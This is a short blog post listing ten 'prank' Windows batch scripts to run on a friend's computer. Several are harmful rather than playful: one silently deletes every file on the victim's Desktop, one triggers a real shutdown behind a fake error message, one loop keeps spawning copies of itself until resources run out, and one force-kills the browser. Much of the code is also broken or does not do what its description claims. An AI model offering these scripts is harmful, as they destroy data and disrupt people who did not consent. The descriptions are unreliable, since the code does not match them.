10 Best Prank Command-Prompt Scripts

CompcIT
3 min readApr 5, 2024

--

These scripts are batch scripts. You can save these scripts using the “.bat” extension. But remember, these scripts should be used sensibly, and you should not hurt anyone. These scripts are just for educational purposes. Remember to use these scripts very carefully. You can try these scripts with your friends.

Endless Message Boxes

The target machine will keep receiving message boxes with the subject “You’ve been pranked!” until they close the Command Prompt window thanks to this batch file.

@echo off
:loop
msg * You've been pranked!
goto loop

Fake Virus Warning

This batch file will show a phoney virus alert and ask the user to hit any key to delete the infection before revealing the joke.

@echo off
echo WARNING! Your computer has been infected!
echo Please press any key to remove the virus...
pause > nul
echo Just kidding! You've been pranked!

Auto-Correct Typos

The user will be repeatedly prompted to type something by this batch file, but it will automatically fix their input if they inadvertently type a period.

@echo off
:start
set /p input=Type something:
echo You typed: %input:.=I'm sorry, I didn't catch that.=
goto start

Continuous CD Drive Opening

Until the user exits the Command Prompt window, this batch file will keep the CD drive open.

@echo off
:loop
start %0
eject
goto loop

Desktop Icons Disappear

Without prior notice, this batch file will remove every icon from the user’s desktop.

@echo off
echo Removing Desktop icons...
del /F /Q %userprofile%\Desktop\*.*
echo Desktop icons have been removed!

Infinite Loop of Beeping

An endless loop of beeping noises will be produced by this batch file (change “^G” with the actual ASCII bell character).

@echo off
:beep
echo ^G
goto beep

Random Keyboard Input

This batch file may give the impression that the computer is typing on its own since it will generate random keyboard input (letters A–Z) per second.

@echo off
:loop
set /a key=%random% %% 26
echo %key% | clip
echo Pranking... (Press CTRL+C to stop)
timeout /t 1 /nobreak > nul
goto loop

Flipping Screen Upside Down

The screen of the target computer will be turned upside down using this batch file. It operates by utilising PowerShell to simulate pressing the keys “CTRL + DOWN ARROW” twice.

@echo off
echo Pranking... (Press CTRL+C to stop)
start /min /b powershell -WindowStyle Hidden -Command "(New-Object -ComObject WScript.Shell).SendKeys('^{DOWN}')"
timeout /t 2 /nobreak > nul
start /min /b powershell -WindowStyle Hidden -Command "(New-Object -ComObject WScript.Shell).SendKeys('^{DOWN}')"

Continuous Browser Pop-ups

Every ten seconds, this batch program will launch Microsoft Edge browser windows to a phony malware website until they are closed.

@echo off
:loop
start microsoft-edge:http://fakevirus.com
timeout /t 10 /nobreak > nul
taskkill /f /im msedge.exe
goto loop

Fake Shutdown Message

This batch program will pretend to shut down the computer, alerting the user to a fatal error and allowing them to save their work before the machine shuts down for sixty seconds.

@echo off
shutdown /s /t 60 /c "Your computer has encountered a fatal error. Please save your work!"

When you are using these scripts on your friend’s computer, remember, that your friend has some sense of humor. For more information, visit our website.

--

--

CompcIT

Do Not Let The Technology Evolve Behind Your Back.